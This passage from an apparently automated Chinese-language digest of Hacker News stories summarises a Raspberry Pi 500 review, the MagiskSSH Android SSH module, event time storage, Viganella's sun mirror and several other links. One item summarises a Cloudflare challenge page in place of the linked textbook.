- 性能升级:搭载树莓派5同款 BCM2712 SoC(四核Cortex-A76,主频2.4GHz),内存为8GB LPDDR4X,GPU为VideoCore VII。
- 外观改进:配色方案改为全白色。
- 键盘与电源:采用薄膜键盘,右上角新增专用软电源键(长按关机)。
内部构造与热设计
- 散热卓越:内部有大面积铝制散热片覆盖整个PCB,这使得其被动散热性能极其出色,是评测中突出强调的优点。
- 可升级性局限:
- 内部预留了M.2空间,但没有焊接NVMe接口,因此无法原生支持高速固态存储。
- 未提供官方触摸屏或摄像头接口,但可通过USB和HDMI连接。
- 拆解难度较高,塑料卡扣易损坏。
- PCB上存在未使用的PoE(以太网供电)元件位,但该功能也未启用。
性能表现
- 热性能与超频:即使超频至3 GHz,在满载压力测试下CPU温度仅为64.8°C,远未达到节流阈值,且功耗控制良好(约8.8W)。其被动散热能力在同类产品中表现突出。
- 存储性能:标配的A2级MicroSD卡启动快(约20秒),但顺序读写速度(89 MB/s读,32 MB/s写)远低于NVMe SSD,是性能的主要瓶颈。系统响应虽足够日常使用,但未能利用潜在的高速存储能力。
- GPIO访问:与树莓派400相同,需要通过转接板从背面接口引出40个标准GPIO引脚,使用上略显不便。
优点与缺点
- 优点:
- 无与伦比的被动散热性能,可稳定超频。
- 集成度高、线缆整洁的便捷形态。
- 基于树莓派5的强劲性能。
- 缺点:
- 缺少NVMe存储支持,无法使用高速固态硬盘。
- GPIO访问需要额外转接,不够直接。
- 无官方摄像头和触摸屏连接器。
- 机身拆卸困难,升级或维护不便。
定位与适用场景
树莓派500 被定位为21世纪的家庭/教育计算机,类似于1980年代的家用电脑。它非常适合作为儿童的第一台电脑、教育机构的教学工具或轻量级桌面办公设备。尽管存在存储和扩展接口上的妥协,但其出色的散热、足够的性能和一体化的设计,使其成为树莓派400的优秀继任者。
用户评论观点摘要
- 部分用户对缺乏NVMe支持表示失望,认为这在2025年是功能上的缺失。
- 有用户计划将其用于发行版测试,并提到会将旧的树莓派400赠送他人。
- 关于树莓派400的电源按钮(F10键)是否算“软电源键”存在讨论。
- 有观点认为,不加入NVMe是出于成本和教育市场定位(避免与Chromebook直接竞争)的考量。
- 有用户期待未来推出易于改造、支持NVMe和PoE的版本,并希望键盘控制器(RP2040)可编程。
21. MagiskSSH – SSH server on Android without Termux (gitlab.com)
MagiskSSH 摘要
MagiskSSH 是一个基于 Magisk 框架的模块,旨在为 Android 设备提供一个原生的 SSH 服务器,而无需依赖 Termux 等第三方终端模拟器应用。其主要目标是实现一种轻量级、系统级的远程访问解决方案,允许用户通过 SSH 协议安全地连接并管理他们的 Android 设备。
核心特点
- 无需 Termux:区别于传统方法,MagiskSSH 作为系统服务运行,直接集成到 Android 系统中,避免了安装和配置 Termux 环境的复杂性。
- 基于 Magisk:利用 Magisk 的系统级修改能力,模块可以在不破坏系统完整性的情况下安装和运行,同时享受 MagiskHide 等功能带来的兼容性。
- 远程管理:通过标准的 SSH 客户端(如 PuTTY、终端等),用户可以远程访问设备的命令行界面、传输文件或执行脚本。
- 轻量高效:作为服务端运行,占用资源较少,适合长期在后台运行。
工作原理
- 模块化安装:通过 Magisk Manager 将 MagiskSSH 模块刷入设备。
- 服务启动:模块在设备启动后自动运行一个 SSH 守护进程(daemon),监听指定的端口(默认为 22)。
- 用户配置:用户需要预先配置好访问凭据(如密码或 SSH 密钥)。
- 安全连接:外部设备通过 IP 地址和端口连接,使用配置的凭据进行认证,建立加密的 SSH 会话。
潜在用途
- 开发者调试:方便在不连接 USB 的情况下进行应用测试和调试。
- 文件管理:通过 SCP 或 SFTP 在设备和电脑间快速传输文件。
- 系统管理:执行 root 级别的命令,进行系统维护或脚本自动化。
- 远程访问:在局域网或(配合 VPN/端口转发)广域网内安全地访问设备。
注意事项
- 需要 Root 权限:因为基于 Magisk,所以设备必须已解锁 Bootloader 并安装 Magisk 以获取 root 权限。
- 安全风险:在公共网络上暴露 SSH 服务可能带来安全威胁,需确保使用强密码、密钥认证,并谨慎配置防火墙规则。
- 兼容性:可能因 Android 版本、内核或厂商定制 ROM 的不同而存在兼容性问题。
总结
MagiskSSH 提供了一种简洁的方案,将标准的 SSH 服务器功能直接植入 Android 系统层面,满足了高级用户和开发者对设备进行远程、高效管理的需求,同时避免了传统方案中对额外终端应用的依赖。
22. Storing Times for Human Events (simonwillison.net)
存储人类活动时间的最佳实践
核心问题
存储活动时间看似简单,但错误的时间存储会导致用户错过活动,这是事件网站最严重的缺陷之一。
常见错误做法的弊端
- 仅存储UTC时间:虽然能避免时区混淆,但会丢失用户创建活动时的本地时间意图。
- 依赖用户选择时区:普通用户通常不理解时区,容易选错。
- 时区规则变更:各国可能临时修改夏令时规则(如黎巴嫩2023年因内部争议导致多时区并存),导致已存储的UTC时间与本地时间不符。
- 地点更改:用户修改活动地点后,若未同步调整时间,会导致时间错误。
具体风险案例
- 用户错误:创建活动时选错时区,或修改地点后忘记调整时间。
- 国际时区变更:如土耳其、俄罗斯、智利、摩洛哥等国经常临时调整夏令时。
- 历史事件:2007年美国夏令时规则变更导致微软Exchange和Outlook显示错误,需专用工具修复日历事件。
推荐存储方案
- 存储用户意图时间:记录用户创建活动时输入的原始本地时间。
- 存储活动地点:获取活动举办地的精确位置(如场馆地址),而非让用户选择时区。
- 派生时区信息:根据地点推算出对应时区。
- 存储UTC时间:基于意图时间和时区计算出UTC时间,用于排序、显示和跨时区查看。
优势
- 用户编辑活动时看到的是原始输入时间,避免混淆。
- 地点更改时可保持原时间不变,并提示用户确认是否调整。
- 时区规则变更时,可基于地点重新计算受影响活动的UTC时间。
附带问题:时区选择界面
当前许多应用(如Google Calendar)的时区选择器复杂且无搜索功能,用户体验较差。
总结
存储活动时间时应优先保留用户的原始时间意图,并结合活动地点信息,而非盲目依赖UTC存储。这种方式能更好地应对用户错误和时区规则变更,确保活动时间的准确性。
23. Starlark Programming Language (starlark-lang.org)
24. An Italian town that built its own sun (2021) (www.vice.com)
意大利小镇维加内拉的自建阳光项目
背景与问题
维加内拉(Viganella)位于瑞士和意大利交界的陡峭山谷中,周围被高山环绕,每年11月至2月完全被遮挡阳光,导致居民经历长达三个月的黑暗冬季。该地区自13世纪起有人定居,800多年来居民世代面对此问题。20世纪以来,小镇经历人口减少,目前仅剩163名居民,漫长黑暗的冬季加剧了人口流失。
解决方案的提出与实施
1999年,当地建筑师贾科莫·邦扎尼(Giacomo Bonzani)提议在教堂立面安装日晷,但时任市长弗朗哥·米达利(Franco Midali)提出了更大胆的想法:在山上安装巨型镜子,将阳光反射到主广场。经过设计,该项目于2006年12月17日正式启动。镜子由邦扎尼和工程师詹尼·费拉里(Gianni Ferrari)设计,耗资约10万欧元,宽8米、高5米,通过软件控制旋转以跟踪太阳轨迹,每天反射阳光6小时。
技术细节与运作
镜子仅在冬季使用,其余时间覆盖。反射的阳光虽不如直射光强烈,但足以温暖主广场并为住宅提供自然光照。项目初衷并非基于科学,而是人文关怀,旨在解决冬季因寒冷黑暗导致的社交隔离问题,促进居民互动。
艺术视角与社区意义
2020年,多媒体艺术家西尔维亚·坎波雷西(Silvia Camporesi)访问维加内拉,记录了镜子项目。她描述镜子为“雄伟而孤独”,强调了项目的诗意和人性化价值。前市长米达利指出,项目源于让人们在冬季能社交的愿望,体现了社区对光和温暖的渴望。
全球影响与启示
维加内拉的成功启发了其他地区。2013年,挪威吕坎(Rjukan)在工程师实地考察后安装了类似镜子。冰岛塞济斯菲厄泽(Seydisfjördur)也曾考虑类似方案,但未实施。尽管历史上有太阳能镜子的先例(如阿基米德的传说和现代太空望远镜),维加内拉的项目因其社区导向和情感价值而独特,受到居民高度赞赏。
总结
维加内拉通过创新镜子工程解决了冬季无阳光的难题,不仅提供了实际光照,还增强了社区凝聚力,并为全球类似环境下的城镇提供了借鉴。项目融合了技术、艺术和人文精神,成为利用智慧应对自然挑战的典范。
25. The Myth of Bananaland (worldhistory.substack.com)
26. Computer Architecture, Fifth Edition: A Quantitative Approach (2011) (dl.acm.org)
摘要
提供的HTML内容是Cloudflare安全挑战页面,用于在用户访问ACM Digital Library中的书籍“Computer Architecture, Fifth Edition: A Quantitative Approach (2011)”时进行身份验证。页面的主要目的是阻止自动化爬虫或机器人访问,确保只有通过验证的用户才能继续浏览。
目的
- 保护网站免受恶意自动化脚本的侵害,通过JavaScript挑战验证用户是否为真人操作。
- 防止未授权访问,确保网站资源安全。
结构
- HTML基础:页面使用HTML5标准,包含元标签如字符集、视口设置和内容安全策略(CSP)。
- 内容安全策略:限制脚本、样式、图像等资源的加载来源,仅允许来自Cloudflare挑战平台的资源,增强安全性。
- 脚本部分:内联JavaScript代码,用于初始化Cloudflare挑战平台,执行验证流程。
- 样式部分:定义页面布局和样式,确保在不同设备上的响应式显示。
关键功能
- JavaScript挑战:要求用户启用JavaScript和cookies,如果禁用则显示错误信息“Enable JavaScript and cookies to continue”。
- 验证机制:通过Cloudflare的挑战平台(orchestrate/chl_page)自动处理用户验证,包括生成令牌和重定向。
- 重定向逻辑:使用
history.replaceState在验证后恢复原始URL,避免页面刷新。 - 反自动化措施:通过复杂的脚本和参数(如cFPWv、cH等)防止脚本绕过,确保验证有效性。
技术细节
- 脚本执行:脚本以nonce方式加载,防止跨站脚本攻击(XSS)。
- 参数传递:包含各种配置参数,用于跟踪验证状态和用户会话。
- 错误处理:如果验证失败,页面将显示错误信息并可能阻塞访问。
总之,该HTML页面是一个动态的安全网关,旨在通过技术手段平衡网站访问与安全防护。
27. CT Scans of New vs. Used SawStop (www.lumafield.com)
28. Broward Co. to vacate convictions for buying crack made by Sheriff's Office (cbs12.com)
事件背景
- 违宪执法行动:上世纪90年代,布劳沃德县警长办公室曾自制可卡因并出售,随后逮捕购买者,实施“反向诱捕”行动。
- 司法裁决:1993年,佛罗里达州最高法院裁定此类行动“令人愤慨”,侵犯个人正当程序权利,属违宪行为。
遗留问题
- 记录未清除:尽管最高法院已作出裁决,但相关案件的逮捕和定罪记录从未被正式撤销,仍保留在个人犯罪历史中。
- 负面影响:这些记录持续影响涉事人员的就业、住房及背景审查,波及个人、家庭及社区。
- 数量规模:审计发现,相关案件估计高达2600起,且许多记录已超过法定保存期限,部分面临销毁。
当前处理措施
- 官方行动:布劳沃德县州检察官哈罗德·普赖尔宣布,将撤销这些违宪定罪记录,强调“纠正错误永不太迟”。
- 协作与支持:现任县警长格雷戈里·托尼得知此事后表示支持,认为州政府有道德义务纠正不公。
- 呼吁与程序:受影响者可联系州检察官办公室,核实并申请撤销相关记录。
29. "All your base are belong to us" intro to my 2004 MIT Spam Conference talk (blog.jgc.org)
文章摘要
本文介绍了作者在2004年MIT垃圾邮件会议上的演讲介绍内容。演讲主题聚焦于机器学习系统的对抗:垃圾邮件发送者利用机器学习技术来突破机器学习垃圾邮件过滤器。演讲开场播放了一个基于"All your base are belong to us"网络迷因的短片,作者通过精心编辑图像,将文本改为与垃圾邮件相关,并加入了保罗·格雷厄姆(Paul Graham)的形象——他是MIT垃圾邮件会议的发起人及早期机器学习垃圾邮件过滤器的先驱。作者原本以为这段介绍的音频已丢失,但近日意外找回,因此分享了修复后的版本,该介绍是于2004年在Mac上制作的。目前,实际演讲的音频尚未被找到。
30. The Rules of Programming (2023) (www.therulesofprogramming.com)
《编程规则》(2023)一文源于作者的亲身经历与 frustration。作者曾在微软领导编程团队,并于1997年共同创立电子游戏公司Sucker Punch。两家公司的成功很大程度上归功于其组建和培养顶尖编程团队的能力。在Sucker Punch,这带来了25年的成功游戏开发,包括《狡狐大冒险》、《恶名昭彰》系列以及《对马岛之魂》等作品。
两家公司的重要招聘策略是吸纳聪明的年轻程序员,然后将其培养为专业开发者。这种方法虽然成功,但也带来了一种特定的挫折感。作者反复遇到一个问题:新加入的程序员(通常是刚毕业的年轻人)在为一个非常简单的问题编写代码时,往往会试图解决一个更大的问题,而将简单问题作为一个子案例包含在内。然而,团队并不需要解决那个更大的问题,其解决方案通常也是针对原始简单问题的平庸方案——更复杂、更难理解,并且可能隐藏更多缺陷。仅仅在代码审查中口头说明这一点效果不佳。
出于沮丧,作者制定了一条具体规则:“在拥有三个问题实例之前,不得编写通用的解决方案。” 令人惊喜的是,这条规则非常有效。它将一般性的理念转化为了具有明确标准的、易于记忆和应用的具体规则。它帮助新程序员避免了过度泛化的错误,并让他们知道何时是进行泛化的适当时机。该规则之所以有效,是因为它易于记忆,且适用情况容易识别。
随着时间的推移,Sucker Punch 的许多其他重要工程哲学也被提炼成了易于记忆的短语——格言。格言历史悠长,它们能流传至今是因为有效,是传播智慧的有效载体。在团队中,它们是将编程哲学传递给新成员的有效方式。
因此,曾经的一条规则逐渐发展成为一个列表:编程规则。这些规则代表了Sucker Punch工程文化中最重要的方面,是团队取得成功的关键,也是新程序员需要吸收以变得高效、资深程序员也需要时常回顾的理念。作者撰写此书,旨在将这些规则带给更广泛的读者,希望它能帮助读者写出更好的代码。